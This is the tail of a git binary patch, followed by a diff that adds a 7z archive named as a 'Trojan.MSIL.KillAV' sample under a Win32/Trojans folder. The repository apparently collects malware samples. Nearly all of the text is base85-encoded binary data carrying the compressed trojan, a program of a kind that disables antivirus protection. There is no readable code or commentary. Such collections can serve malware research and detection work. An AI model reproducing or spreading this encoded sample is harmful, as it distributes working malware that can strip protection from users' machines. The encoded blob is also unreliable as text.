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 literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.ao-9.7z b/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.ao-9.7z new file mode 100644 index 0000000000000000000000000000000000000000..71ef41affb10351c2211d97994524a324ae9ef36 GIT binary patch literal 196618 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 